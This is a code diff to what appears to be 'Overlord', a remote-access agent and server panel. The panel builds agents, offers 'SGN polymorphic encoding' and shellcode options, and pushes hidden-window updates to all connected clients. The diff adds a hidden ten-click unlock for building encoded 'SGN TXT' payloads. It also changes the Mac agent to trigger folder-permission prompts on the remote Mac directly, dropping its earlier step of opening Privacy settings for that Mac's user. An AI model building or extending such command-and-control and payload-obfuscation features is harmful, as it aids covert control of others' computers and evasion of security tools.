diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index 237b639..963a4c6 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -20,7 +20,6 @@ import ( "net/http" "net/url" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -151,7 +150,7 @@ func folderAccessHelp(err error) string { if !canRequestFolderAccess(err) { return "" } - return "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder." + return "macOS blocked this folder. Confirm the retry, approve the prompt on the Mac, then refresh if needed." } func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { @@ -171,14 +170,12 @@ func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID s path = absPath } - settingsURL := "x-apple.systempreferences:com.apple.preference.security?Privacy_FilesAndFolders" - if err := exec.CommandContext(ctx, "open", settingsURL).Run(); err != nil { - _ = exec.CommandContext(ctx, "open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Run() + if _, err := os.ReadDir(path); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, - Message: fmt.Sprintf("could not open macOS Privacy settings: %v", err), + Message: fmt.Sprintf("macOS still blocked folder access for %s: %v", path, err), }) } @@ -186,7 +183,7 @@ func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID s Type: "command_result", CommandID: cmdID, OK: true, - Message: fmt.Sprintf("opened macOS Privacy settings for folder access; ask the user to allow access for this app, then refresh %s", path), + Message: fmt.Sprintf("macOS allowed folder access for %s", path), }) } diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 79b2c65..c637df3 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -46,6 +46,7 @@ const platformInputs = document.querySelectorAll('input[name="platform"]'); let currentServerVersion = null; let currentUserRole = null; +let currentUsername = null; let showAllBuilds = false; async function loadServerVersion() { @@ -1232,7 +1233,9 @@ async function init() { const data = await res.json(); currentUserRole = data.role; + currentUsername = data.username || null; usernameDisplay.textContent = data.username; + loadSgnTxtUnlockState(); const roleBadges = { admin: 'Admin', @@ -1440,6 +1443,7 @@ form?.addEventListener("submit", async (e) => { shellcodeConsole: document.getElementById("shellcode-console")?.checked || false, useSgn: document.getElementById("sgn-mode")?.checked || false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, + outputSgnTxt: pendingSgnTxtBuild, uploadToFileShare: pendingUpload, }; @@ -1498,6 +1502,10 @@ async function startBuild(config) { buildUploadBtn.disabled = true; buildUploadBtn.innerHTML = ' Building...'; } + if (buildSgnTxtBtn) { + buildSgnTxtBtn.disabled = true; + setSgnTxtButtonState("Building TXT...", "fa-solid fa-spinner fa-spin"); + } buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; @@ -1558,7 +1566,12 @@ async function startBuild(config) { buildUploadBtn.disabled = false; buildUploadBtn.innerHTML = ' Build & Upload'; } + if (buildSgnTxtBtn) { + buildSgnTxtBtn.disabled = false; + updateSgnTxtLockState(); + } pendingUpload = false; + pendingSgnTxtBuild = false; } } @@ -1947,6 +1960,78 @@ let pendingUpdateAll = false; let pendingUpdateHideWindow = false; let pendingUpload = false; const buildUploadBtn = document.getElementById("build-upload-btn"); +let pendingSgnTxtBuild = false; +const buildSgnTxtBtn = document.getElementById("build-sgn-txt-btn"); +const buildSgnTxtLockbox = document.getElementById("build-sgn-txt-lockbox"); +const SGN_TXT_UNLOCK_CLICKS = 10; +let sgnTxtUnlockClicks = 0; +let sgnTxtUnlocked = false; + +function getSgnTxtUnlockStorageKey() { + const userPart = String(currentUsername || "unknown").trim().toLowerCase() || "unknown"; + return `overlord_sgn_txt_unlocked:${userPart}`; +} + +function loadSgnTxtUnlockState() { + try { + if (localStorage.getItem(getSgnTxtUnlockStorageKey()) === "true") { + sgnTxtUnlockClicks = SGN_TXT_UNLOCK_CLICKS; + sgnTxtUnlocked = true; + } + } catch {} + updateSgnTxtLockState(); +} + +function saveSgnTxtUnlockState() { + try { + localStorage.setItem(getSgnTxtUnlockStorageKey(), "true"); + } catch {} +} + +function setSgnTxtButtonState(label, iconClass) { + if (!buildSgnTxtBtn) return; + buildSgnTxtBtn.innerHTML = ""; + const icon = document.createElement("i"); + icon.className = iconClass; + const text = document.createElement("span"); + text.textContent = label; + buildSgnTxtBtn.appendChild(icon); + buildSgnTxtBtn.appendChild(text); +} + +function pulseSgnTxtLockbox() { + if (!buildSgnTxtLockbox) return; + buildSgnTxtLockbox.classList.remove("pulse"); + void buildSgnTxtLockbox.offsetWidth; + buildSgnTxtLockbox.classList.add("pulse"); +} + +function updateSgnTxtLockState() { + if (!buildSgnTxtBtn || !buildSgnTxtLockbox) return; + const progress = Math.min(1, Math.max(0, sgnTxtUnlockClicks / SGN_TXT_UNLOCK_CLICKS)); + const stageProgress = (start, end) => Math.min(1, Math.max(0, (progress - start) / (end - start))); + const crackProgress = Math.min(1, Math.sqrt(progress) * 1.18); + const midCrackProgress = Math.sqrt(stageProgress(0.18, 0.72)); + const lateCrackProgress = Math.sqrt(stageProgress(0.48, 0.95)); + buildSgnTxtLockbox.style.setProperty("--sgn-chain-brightness", String(Math.max(0.72, 1 - progress * 0.28))); + buildSgnTxtLockbox.style.setProperty("--sgn-chain-opacity", String(Math.max(0.48, 0.9 - progress * 0.42))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-opacity", String(Math.max(0, Math.min(1, crackProgress)))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-dash", String(Math.max(0, 1 - crackProgress))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-opacity", String(midCrackProgress * 0.9)); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-dash", String(Math.max(0, 1 - midCrackProgress))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-opacity", String(lateCrackProgress * 0.95)); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-dash", String(Math.max(0, 1 - lateCrackProgress))); + buildSgnTxtLockbox.style.setProperty("--sgn-lock-tilt", `${Math.round(progress * 10)}deg`); + buildSgnTxtLockbox.classList.toggle("locked", !sgnTxtUnlocked); + buildSgnTxtLockbox.classList.toggle("unlocked", sgnTxtUnlocked); + if (sgnTxtUnlocked) { + setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines"); + return; + } + setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines"); +} + +updateSgnTxtLockState(); function showUpdateAllModal() { if (!updateAllModal) return; @@ -2056,6 +2141,37 @@ if (buildUploadBtn) { }); } +if (buildSgnTxtBtn) { + buildSgnTxtBtn.addEventListener("click", () => { + if (isBuilding) return; + const sgnEnabled = document.getElementById("sgn-mode")?.checked || false; + if (!sgnTxtUnlocked) { + sgnTxtUnlockClicks += 1; + if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) { + sgnTxtUnlocked = true; + saveSgnTxtUnlockState(); + updateSgnTxtLockState(); + if (window.showToast) window.showToast("SGN TXT build unlocked", "success"); + } else { + updateSgnTxtLockState(); + } + pulseSgnTxtLockbox(); + return; + } + if (!sgnEnabled) { + alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file."); + return; + } + const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); + if (platformCheckboxes.length === 0) { + alert("Please select at least one platform to build"); + return; + } + pendingSgnTxtBuild = true; + form.requestSubmit(); + }); +} + async function pushUpdateToAllClients(buildId, hideWindow) { addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js index 9e316b0..ab97deb 100644 --- a/Overlord-Server/public/assets/filebrowser.js +++ b/Overlord-Server/public/assets/filebrowser.js @@ -32,7 +32,7 @@ const pendingCommandWaiters = new Map(); const VIRTUALIZATION_THRESHOLD = 400; const VIRTUAL_ROW_HEIGHT = 58; const VIRTUAL_OVERSCAN = 8; -const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`; +const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v2`; const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths()); let directoryEntries = []; @@ -377,15 +377,9 @@ function isSameOrChildPath(path, root) { } function markMacPermissionAllowed(path) { - const normalized = normalizeMacPath(path); - if (!normalized || normalized === ".") return; - const macStylePath = normalized.startsWith("/Users/") || - normalized === "/Volumes" || - normalized.startsWith("/Volumes/") || - normalized === "/Network" || - normalized.startsWith("/Network/"); - if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return; - macPermissionAllowedPaths.add(normalized); + const risk = macProtectedLocationForPath(path); + if (!risk) return; + macPermissionAllowedPaths.add(risk.cachePath || risk.root || risk.path); persistMacPermissionAllowedPaths(); } @@ -397,9 +391,9 @@ function hasMacPermissionAllowedAncestor(path) { return false; } -function macPermissionRiskForPath(path) { +function macProtectedLocationForPath(path) { const normalized = normalizeMacPath(path); - if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) { + if (!normalized || normalized === ".") { return null; } @@ -438,6 +432,13 @@ function macPermissionRiskForPath(path) { return { ...match, path: normalized, cachePath }; } +function macPermissionRiskForPath(path) { + const risk = macProtectedLocationForPath(path); + if (!risk) return null; + if (hasMacPermissionAllowedAncestor(risk.path)) return null; + return risk; +} + function showMacPermissionWarning(risk, operation) { return new Promise((resolve) => { const modal = document.createElement("div"); @@ -448,15 +449,15 @@ function showMacPermissionWarning(risk, operation) {
${escapeHtml(operation)} ${escapeHtml(risk.path)} may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.
-Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.
+After you confirm here, the agent will try to open the folder on the Mac so macOS can show its permission prompt there.